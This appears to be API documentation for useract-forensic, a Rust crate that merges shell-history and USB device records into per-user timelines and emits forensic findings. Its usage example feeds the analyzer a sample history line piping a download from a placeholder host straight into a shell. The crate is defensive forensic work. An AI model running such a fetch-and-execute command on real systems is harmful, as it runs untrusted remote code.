Expand description
useract-forensic — the user-activity correlation layer.
A thin meta / orchestration crate: it does not parse any raw format
itself. It consumes already-decoded forensic reader types — today
shellhist_core::HistoryEntry and peripheral_core::DeviceConnection —
normalizes them into one uniform UserActivity event, builds a per-user
timeline, and emits cross-source forensicnomicon::report::Findings that no
single source could produce alone.
Every finding is an observation (“consistent with …”); the examiner draws the conclusions. MITRE techniques are narrated as consistency, never a verdict.
§30-second example
use useract_forensic::{build_timeline, audit, ShellHistorySource, DeviceSource};
use shellhist_core::{HistoryEntry, Shell};
// (sources are normally produced by the reader crates; constructed here inline)
let entries = shellhist_core::parse_auto(b"#1700000000\ncurl http://x | sh\n", Some(".bash_history"));
let shell = ShellHistorySource::new(&entries);
let devices = DeviceSource::new(&[]);
let timeline = build_timeline(&[&shell, &devices]);
let findings = audit(&timeline);
for f in &findings {
println!("{} — {}", f.code, f.note);
}§v0.2 roadmap
New per-user sources slot in behind the ActivitySource trait without an API
break: lnk-core (recent-file LNK, completing the volume-serial join),
shellbag-core (folder access), srum-core (per-user app execution and network
bytes by SID — the strongest source), and winreg-artifacts
(UserAssist / RecentDocs / MRU / MountPoints2). See docs/roadmap.md.
Structs§
- Device
Source - A
DeviceSourcewraps a borrowed slice of decoded device connections. - Shell
History Source - A
ShellHistorySourcewraps a borrowed slice of decoded history entries. - User
Activity - One normalized user-activity event: who did what, when, to which subject.
Enums§
- Action
- What a user did to a
Subject. - Source
Kind - Which reader the activity was normalized from.
- Subject
- The thing an
Actionwas performed on.
Constants§
- REMOVABLE_
MEDIA_ WINDOW_ SECS - The default temporal window (seconds) for the exec-during-removable-media join.
Traits§
- Activity
Source - A producer of
UserActivityevents.
Functions§
- audit
- Audit a merged timeline for cross-source user-activity findings.
- audit_
with auditwith a caller-suppliedSourcestamp (scope/version).- build_
timeline - Merge any number of
ActivitySources into one timeline, sorted by timestamp. - device_
file_ volume_ joins - Generic volume-serial join: pair every
Subject::Deviceactivity with everySubject::File/Subject::Folderactivity that names the same volume serial. - from_
device_ connections - Normalize a decoded device-connection stream into
UserActivityevents. - from_
shell_ history - Normalize a decoded shell-history stream into
UserActivityevents. - source
- The
Sourcestamp for findings this analyzer emits.